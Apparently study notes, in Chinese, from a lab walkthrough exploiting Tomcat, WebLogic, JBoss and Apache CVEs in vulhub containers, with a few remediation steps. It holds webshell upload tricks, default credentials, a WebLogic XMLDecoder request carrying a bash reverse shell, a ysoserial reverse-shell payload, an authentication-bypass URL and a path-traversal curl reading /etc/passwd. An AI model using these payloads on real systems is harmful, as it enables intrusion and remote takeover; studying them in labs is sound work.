tomcat
CVE-2017-12615
Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞
使用put方法 上传木马文件 ccc.jsp
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
到重放器试试
放包 访问ccc.jsp
哥斯拉连接:
后台弱口令部署war包
漏洞原理:
在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员 把密码设置成弱口令。
环境搭建:
cd vulhub-master/tomcat/tomcat8
docker-compose up -d
访问:点击这里
账号密码 tomcat
这里先弄一个木马ccc.jsp->压缩一下->再修改后缀名为war
这里就可以看到我们上传的了:
直接访问ccc 没有->访问ccc/ccc.jsp
哥斯拉连接:
CVE-2020-1938
Tomcat文件包含漏洞
由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有 Webapp目录下的任意文件
环境搭建:
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
原理:
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另 外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
POC:
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml IP
漏洞修复:
1.更新版本
2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉
3.配置ajp配置中的secretRequired跟secret属性来限制认证。
WebLogic
后台弱口令GetShell
通过弱口令进入后台界面 , 上传部署war包 , getshell
环境搭建:
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现:
访问console:
登录后台:账号密码:weblogic/Oracle@123
点击上载文件:
也是将木马jsp文件->压缩->更改后缀名war->上传
显示这个 成功!
访问部署好的我们的war:
哥斯拉连接:
CVE-2017-3506(XMLDecoder 反序列化漏洞)
Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。
环境搭建:
cd vulhub-master/weblogic/weak_password
docker-compose up -d
漏洞复现:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
验证是否存在wls-wsat组件:::
出现这个即存在:
在当前页抓包,替换下面请求包:进行反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机IP:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/反弹到的IP/7777 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
500也可反弹到!
使用工具:
执行命令:
webshell:
CVE-2018-2628
这里我们使用工具(Liqun工具箱)
可以命令执行:
webshell:
漏洞修复:
1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放,或者限制可访问T3端口的IP来源
4.升级版本
CVE-2018-2894
WebLogic文件任意上传漏洞
环境搭建:
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
密码随机给 获取密码:
docker-compose logs | grep password
登录之后->设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页:
进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目 录是无需权限的,这一点很重要
安全->添加:
上传文件:
寻找id:
访问: http://192.168.1.106:7001/ws_utc/css/config/keystore/1713691752146.jsp
CVE-2020-14882
环境搭建:
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
访问控制台:
使用这个url可以绕过登录:
http://192.168.1.106:7001/console/css/%252e%252e%252fconsole.portal
只获得了一个 未授权访问 不能进行webshell 需要再借助其他漏洞 CVE-2020-14883
远程加载XML文 件拿到Shell
使用工具:
脚本:
Jboss
CVE-2015-7501
环境搭建:
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
漏洞复现:
访问http://192.168.1.106:8080/invoker/JMXInvokerServlet 返回文件 说明端口开放
使用工具 进行漏洞利用:
将反弹shell进行base64编码:
bash -i >& /dev/tcp/192.168.1.106/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA2LzQ0NDQgMD4mMQ==
设置监听
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjEzNi4yMTIvNDQ0NCAwPiYx}|{base64,-d}|
{bash,-i} " >exp.ser
执行命令:
curl http://IP:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
CVE-2017-7504
环境搭建:
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问:http://192.168.1.106:8080/jbossmq-httpil/HTTPServerILServlet
使用工具:
python3 jexboss.py -u http://IP:8080
工具反弹shell:
CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
环境搭建:
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问漏洞页面,看jboss版本:
验证是否存在漏洞 , 访问: 返回500,说明页面存在,此页面存在反序列化漏洞
使用工具:
漏洞修复:
1.不需要 http-invoker.sar 组件的用户可直接删除此组件
2.组件进行访问控制
Administration Console弱口令
环境搭建:
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问目录:
/admin-console/login.seam?conversationId=4
账号密码:admin/vulhub
登录:
点击->web应用->上传war->getshell
低版本JMX Console未授权
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致 攻击者可以进⼊到 jmx控制台,并在其中执行任何功能
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问:
admin/admin
找到 jboss.deployment (jboss 自带得部署功能) 中的 flavor=URL,type=DeploymentScanner 点进去(通过URL的方式远程部署)
制作war包 , 这里用之前制作好的 ccc.war , 然后用 python 开启web服务
python3 -m http.server
http://192.168.1.106:8000/ccc.war
访问:
wegshell工具连接
高版本JMX Console未授权
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell
环境搭建:
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
admin/vulhub
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer, 如下:
进入service=MainDeployer页面之后,找到methodIndex为17或19的deploy 填写远程war包地址 进行远程部署
连接Webshell
Apache
CVE-2021-41773
Apache HTTP Server 路径穿越漏洞
该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录 Require all granted 允许被访问的的情况下(默认开启),攻击者可利用该路径穿 越漏洞读取到Web目录之外的其他文件
环境搭建:
docker pull blueteamsteve/cve-2021-41773:no-cgid
漏洞复现:
POC:
curl http://IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd